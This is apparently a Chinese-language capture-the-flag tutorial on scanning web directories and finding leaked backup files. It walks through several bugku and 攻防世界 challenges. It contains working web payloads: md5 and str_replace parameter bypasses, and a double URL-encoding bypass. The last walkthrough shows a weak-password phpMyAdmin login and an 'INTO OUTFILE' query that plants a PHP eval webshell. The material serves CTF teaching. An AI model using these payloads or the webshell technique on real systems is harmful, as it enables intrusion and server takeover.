后台掃描
在拿到一個網頁之后除了打開 F12 和抓包以外,還可以考慮掃一下后台,所謂掃描后台就是掃描站點的目錄下還有哪些頁面可以訪問,看一下有沒有類似管理員頁面、備份文件泄露和其他文件等。
御劍后台掃描
御劍后台掃描是 T00LS 大牛的作品,可以用於掃描后台,同時這也為程序開發人員增加了難度,需要對的后台目錄結構進行優化。御劍的用法很簡單,在左下角添加需要掃描后台的域名,然后在右上角選擇使用的字典,然后設置合適的線程數和掃描速度等就可以開始掃描了。掃描結果會顯示在中間,點擊訪問即可。
工具自帶掃描的字典,同時我們也可以繼續添加內容進去。
dirsearch
dirsearch 是一個簡單的命令行工具,旨在暴力破解網站中的目錄和文件。dirsearch 需要先安裝 python3 的編譯環境,然后在命令行 cd 進目錄下。掃目錄的命令為:
python3 dirsearch.py -u <URL> -e <EXTENSION>
有時候掃出一些御劍掃不出的文件,下載地址。
備份文件泄露
題目經常需要進行代碼審計,不過有時候不會把源碼直接給我們,而是要我們自己發現。備份文件就是常見的源碼泄露的方式,實踐中往往是開發者的疏忽而忘記刪除備份文件,從而導致服務器中殘留源碼。我們可以通過訪問這些備份文件來審計代碼,一般情況下可以用后台掃描工具掃描。例如 index.php,PHP 文件常見的備份文件格式有:
index.phps
index.php.swp
index.php.swo
index.php.php~
index.php.bak
index.php.txt
index.php.old
這里稍微解釋下什么是 “phps” 后綴文件,phps 文件就是 php 的源代碼文件。通常用於提供給用戶(訪問者)查看 php 代碼,因為用戶無法直接通過 Web 瀏覽器看到php文件的內容,所以需要用 phps 文件代替。除了 PHP 備份文件,有的時候也會遇到整個站點的源碼被打包成壓縮文件,被放置在網站的根目錄下。
例題:bugku-細心
打開網頁,看到一個很精致的 404,這顯然不是真正的 404 頁面。
嘗試 F12、抓包等手段無果后,使用御劍掃描后台,發現一個 robots.txt 文件。
該文件指示了這個頁面還有個 resusl.php 文件可以訪問,訪問到達另一個頁面。此處得到關鍵提示,需要我們傳入參數 x,當這個參數 x 和變量 password 相等時將發生很多事情。
根據提示“想辦法變成 admin”,這個應該就是 x 的值了,傳過去得到 flag。
例題:bugku-Trim 的日記本
打開網頁看到一個登陸頁面,注意到提示說 mysql 已經炸了,接下來的思路就不往 sql 注入去想。
F12 和抓包無果后,用御劍掃描后台,成功發現 3 個可訪問的網頁,在其中一個網頁中得到了 flag。
例題:bugku-備份是個好習慣
打開網頁,顯示了一段不知道有什么意義的字符串。
根據提示,應該是有個 PHP 備份文件,使用御劍掃描出一個 index.php.bak 文件。
訪問該文件,成功獲得備份文件中的源碼。想要 flag 顯示的條件是變量 key1 和 key2 的值不相同,且它們的 md5 加密結果一樣,這里無論是傳數組還是使用 md5 碰撞都可以。
<?php
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
注意 str_replace 函數會把傳入的變量中的 “key” 替換為空,也就是說傳入的變量名為 “key1” 時,經過函數替換后變量名會變成 “1”。我們可以讓變量名為 “kkeyey” 或者 “kekeyy”,這樣替換之后就能夠有 “key” 變量了。
/index.php?kkeyey1[]=1&kekeyy2[]=0
/index.php?kkeyey1=QNKCDZO&kekeyy2=s878926199a
例題:bugku-bugku 導航
打開網頁,這是個 bugku 導航頁面,在嘗試 F12、抓包和御劍掃描后台后沒有什么發現。
根據提示 flag 在根目錄下,所以還是考慮掃描后台,這里可以選擇 dirsearch 來掃描。
python ./dirsearch.py -u 123.206.87.240:9006 -e php
掃描結果如下,發現了很多敏感文件,都可以打開看看。
我們關注一個 “1.zip” 壓縮包,訪問后可以把它下載下來。打開壓縮包后發現有個 “flag-asd.txt” 文件,打開里面什么都沒有,不過在 url 上面訪問這個文件就可以得到 flag。
例題:攻防世界-PHP2
打開網頁,F12、抓包都沒有發現什么有用的信息,御劍掃出來 index.php,不過點進去還是這個頁面。
這個時候可以枚舉備份文件名,看看是否有這個頁面的備份文件,嘗試到 “index.phps” 時成功看到源碼。
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
這里就是我們很熟悉的 urlencode 二次編碼繞過,根據要求構造 payload 傳入得到 flag。
?id=%2561dmin
例題:攻防世界-Web_php_include
打開網頁,看到一段 PHP 代碼如下,觀察到這段代碼有 include() 函數,因此這題要考慮文件包含漏洞。strstr() 函數查找字符串首次出現的位置,然后返回字符串剩余部分。注意到這段代碼使用了 strstr() 函數將傳入參數中的 “php://” 全部刪了,也就是說此處無法直接使用 PHP 偽協議來完成。
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
除了使用 data 偽協議以外,還可以使用后台掃描的方式來做。首先用御劍掃一下后台,會掃出一個 phpmyadmin 頁面,這個頁面可以連接到數據庫。
打開該網頁,測試使用弱口令 “root” ,密碼直接不填登陸成功。
接下來在 SQL 頁面輸入下面的 SQL 語句查看 “secure_file_priv” 的值是否為空。運行出來這個值為空,因此我們可以往數據庫中寫數據。
SHOW VARIABLES LIKE "secure_file_priv"
linux 默認 tmp 是可寫入目錄的,試試寫入一句話木馬。
SELECT "<?php eval(@$_POST['attack']); ?>"
INTO OUTFILE '/tmp/test.php'
使用蟻劍連接,連接成功后打開 “fl4gisisish3r3.php” 就能看到 flag。